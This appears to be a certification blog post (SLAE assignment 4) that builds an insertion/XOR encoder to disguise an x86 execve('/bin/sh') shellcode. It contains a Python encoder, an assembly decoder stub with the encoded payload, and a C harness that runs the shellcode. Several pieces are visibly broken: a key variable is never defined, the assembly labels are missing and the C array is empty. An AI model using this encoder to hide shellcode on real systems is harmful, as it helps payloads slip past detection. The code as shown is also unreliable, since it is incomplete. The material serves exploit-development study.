SLAE Assignment 4: Custom Encoder

This one is about building a custom encoder and decoder. For this I used an insertion / XOR encoder, that splits the shellcode into bytes and inserts a random value. Further the shellcode is decoded using xor with the random value. This way, we have a shellcode, that has nothing to do with the original shellcode anymore.

The shellcode is encrypted with a randomvalue
encryptedshellcode1 = shellcode1 ^ randomvalue1
encryptedshellcode2 = shellcode2 ^ randomvalue2
The encrypted insertion shellcode:

For encoding I use the following python script.


# Python Insertion Encoder 
import random

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

print 'Original Shellcode Len: %d' % len(bytearray(shellcode))

encoded = ""
decoded = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
	# encoding
	encoded += '0x'
	enc = '%02x' % (x ^ rd)
	encoded += enc + ","
	encoded += '0x%02x,' % rd
	# test the decoding process
#	decoded += '\\x'
#	decoded += '%02x' % ( int(enc,base=16) ^ rd)

print encoded

#print 'Decoded shellcode ...'
#print decoded

The decoding process works as following:

shellcode1 = encryptedshellcode1 ^ randomvalue1
shellcode2 = encryptedshellcode2 ^ randomvalue2
The result:

And here is the referring assembler code.


global _start			

section .text

	jmp short call_shellcode

	pop esi
	lea edi, [esi]
	xor eax, eax
	xor ebx, ebx
	xor ecx,ecx

	mov bl, byte [esi + eax] ; get shellcode	
	mov cl, byte [esi + eax + 1] ;get the key
	xor bl, cl ; decode the shellcode
	mov byte [edi], bl
	mov bl, byte [esi + eax +2]  
	xor bl, 0xaa  ;marker for the end of the shellcode
	jz short EncodedShellcode ; if marker > exec shellcode
	inc edi
	add al, 2
	jmp short decode	

	call decoder
	EncodedShellcode: db 0x28,0x19,0xae,0x6e,0x78,0x28,0xc3,0xab,0x38,0x17,0x7f,0x50,0x02,0x71,0xff,0x97,0x05,0x6d,0x90,0xbf,0x3a,0x58,0x14,0x7d,0x76,0x18,0xf4,0x7d,0x35,0xd6,0xcf,0x9f,0xd7,0x5e,0xec,0x0e,0x96,0xc5,0x95,0x1c,0x72,0x93,0xa8,0x18,0xc0,0xcb,0xf9,0x34,0x9e,0x1e,0xaa

As you can see, I added 0xaa to the end of the shellcode, it is used as a marker. When the decoder reaches 0xaa the shellcode can be executed.

For a demonstration the shellcode has to be extracted like in the other blog posts. Then the following C code can be used.



unsigned char code[] = \


	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



And it is running:

$ ./a.out 
Shellcode Length:  92
$ exit

Get the code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-342


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s